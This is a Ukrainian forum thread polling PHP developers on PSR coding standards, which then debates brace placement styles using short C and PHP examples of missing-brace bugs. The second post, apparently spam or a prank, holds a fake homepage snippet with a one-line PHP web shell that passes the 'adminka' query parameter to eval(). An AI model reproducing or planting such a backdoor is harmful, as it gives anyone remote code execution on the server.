1 Востаннє редагувалося ailkiv (21.05.2015 18:19:17)

Тема: Стандартизація PHP [ОПИТУВАННЯ]

Вже більше 5 років, спільнота PHP розробників розробляє рекомендації. http://www.php-fig.org/
Хто і як їх використовує у своїх проектах?
Як на мене це дуже хороша віха у житті PHP чи хтось вважає що: "все це дурня і навіщо прикльопуватися до розробників, пишуть код який працює от і добре"?

Подякували: Анатолій1

2

Re: Стандартизація PHP [ОПИТУВАННЯ]

Табуляція замість пробілів і true & false прописними і відсутність пробіла після foreach

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

3

Re: Стандартизація PHP [ОПИТУВАННЯ]

PSR-4, дещо з PSR-1 дещо з PSR-2
Кодстайл - це спірне питання. Але все ж таки краще коли у багатьох фреймворків вони одинакові. Тому в загальному супер ;)
Особливо радує PSR-4 =)

4 Востаннє редагувалося P.Y. (22.05.2015 18:19:39)

Re: Стандартизація PHP [ОПИТУВАННЯ]

Ніколи не розумів зручності фігурних дужок у стилі Java (які включили і в цей стандарт php). Для читання коду очима — явно гірше, ніж Whitesmiths style (мій улюблений), GNU style чи Horstmann style, де обидві дужки стоять на одному рівні, а не ліва праворуч, права ліворуч, а сам блок іще десь.

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

5

Re: Стандартизація PHP [ОПИТУВАННЯ]

P.Y. написав:

Ніколи не розумів зручності фігурних дужок у стилі Java (які включили і в цей стандарт php). Для читання коду очима — явно гірше, ніж Whitesmiths style (мій улюблений), GNU style чи Horstmann style, де обидві дужки стоять на одному рівні, а не ліва праворуч, права ліворуч, а сам блок іще десь.

Це досить зручно, якщо не шукати поглядом дужки, а сприймати лише відступи, як в Пітоні.

МАКЕ ЦКЯАІИЕ БЯЕАТ АБАІИ

6 Востаннє редагувалося P.Y. (22.05.2015 19:14:38)

Re: Стандартизація PHP [ОПИТУВАННЯ]

Це досить зручно, якщо не шукати поглядом дужки, а сприймати лише відступи, як в Пітоні.

У Пітоні нема ризику зробити, щоб блоки попливли, пропустивши десь фігурну дужку. Компілятор C-подібної мови, звичайно, матюкнеться, коли дійде до «зайвої» дужки, але це буде неінформативна помилка в останньому рядку програми.

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

7

Re: Стандартизація PHP [ОПИТУВАННЯ]

Це є, але читати відформатований код це не заважає. Хоча виправдання так собі виходить.

МАКЕ ЦКЯАІИЕ БЯЕАТ АБАІИ

8 Востаннє редагувалося P.Y. (22.05.2015 19:28:18)

Re: Стандартизація PHP [ОПИТУВАННЯ]

Читати коректний правильно відформатований код — не заважає*. Але читати код, шукаючи таку помилку, вкрай незручно. А ще можна після повідомлення про зайву фігурну дужку просто видалити її, після чого зробити автоформатування й насолоджуватись пошуком багів...

*але це не та красива вайтсмітсівська структура...

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

9

Re: Стандартизація PHP [ОПИТУВАННЯ]

P.Y. написав:

*але це не та красива вайтсмітсівська структура...

Ну не знаю, мабуть, це справа звички, мені наприклад ріже око, такий стиль.

Зневадження, коли втиканув десь дужку поставити. Як на мене, краще незручність читання у такій ситуації (пошуку синтаксичних помилок), ніж незручність читання коду коли шукаєш логічну помилку.

10 Востаннє редагувалося quez (27.05.2015 12:27:00)

Re: Стандартизація PHP [ОПИТУВАННЯ]

Про фігурні дужки в стилі Java. Написав я сьогодні щось типу такого

double f(double a, double b){
    return a*b;
end

і довго думав, чому компілятор матюкається на end. З іншими дужками було б помітніше :)

МАКЕ ЦКЯАІИЕ БЯЕАТ АБАІИ

11

Re: Стандартизація PHP [ОПИТУВАННЯ]

Зневадження, коли втиканув десь дужку поставити

для зруності можна користуватись ide і відповідно буде зразу видно де помилка ;)

Сперечатись де краще дужки ставити, думаю не варто.  Це особиста справа команди ;)

12

Re: Стандартизація PHP [ОПИТУВАННЯ]

funivan написав:

Зневадження, коли втиканув десь дужку поставити

для зруності можна користуватись ide і відповідно буде зразу видно де помилка ;)

<?php
function asd()
{
    if (true)
        $b = 'asd';
    }
    
    $c = 'la-la'
}

Мова йшла про такий випадок. PHP вкаже що саме остання дужка зайва. У мене Linter в sublime (який працює через php.exe:) ) теж так показує. Але цілком погоджуюся, що нормальне IDE допомагає, і саме проставляє закриваючу дужку і тому такі ситуації вкрай-вкрай-вкрай рідко трапляються.

Сперечатись де краще дужки ставити, думаю не варто.  Це особиста справа команди ;)

Погоджуюся + на мою думку ще впливає мова до якої застосовується стиль.

13 Востаннє редагувалося P.Y. (28.05.2015 13:31:51)

Re: Стандартизація PHP [ОПИТУВАННЯ]

ailkiv написав:
P.Y. написав:

*але це не та красива вайтсмітсівська структура...

Ну не знаю, мабуть, це справа звички, мені наприклад ріже око, такий стиль.

Зневадження, коли втиканув десь дужку поставити. Як на мене, краще незручність читання у такій ситуації (пошуку синтаксичних помилок), ніж незручність читання коду коли шукаєш логічну помилку.

Проблема в тому, що пропущена пара дужок не є синтаксичною помилкою — лише відхиленням від конвенції. Тобто,

if (a>0){
    b();
    for( ; ; )
       c();
       d();
    }

буде так само синтаксично коректним, як і

if (a>0){
    b();
    for( ; ; ){
       c();
       d();
    }
}

але результат їх роботи відрізнятиметься. Звичайно, розумні ІДЕ попереджають також і про відхилення від конвенції (що трохи полегшує роботу), але обов'язковість дужок у блоці з єдиним оператором робить код менш компактним (особливо якщо це щось назразок if(...) break;). Перевага вайтсмітсівського стилю в тому, що фігурні дужки стоять рівно навпроти блоку операторів, якого стосуються — таким чином, можна осмислено використовувати їх лише там, де вони потрібні, без великого ризику сплутати поодинокий оператор і блок.

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

14

Re: Стандартизація PHP [ОПИТУВАННЯ]

p.y. наскільки я знаю, у багатьох топових фреймворках завжди юзаються дужки ;)

15

Re: Стандартизація PHP [ОПИТУВАННЯ]

Обов'язкове використання дужок стає необхідністю, якщо розміщувати їх таким незручним для читання способом. З іншого боку, відмова від зайвих дужок могла б навіть полегшити читання коду: більше функціональних рядків потрапляє в кадр, менше порожнього місця між ними.

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊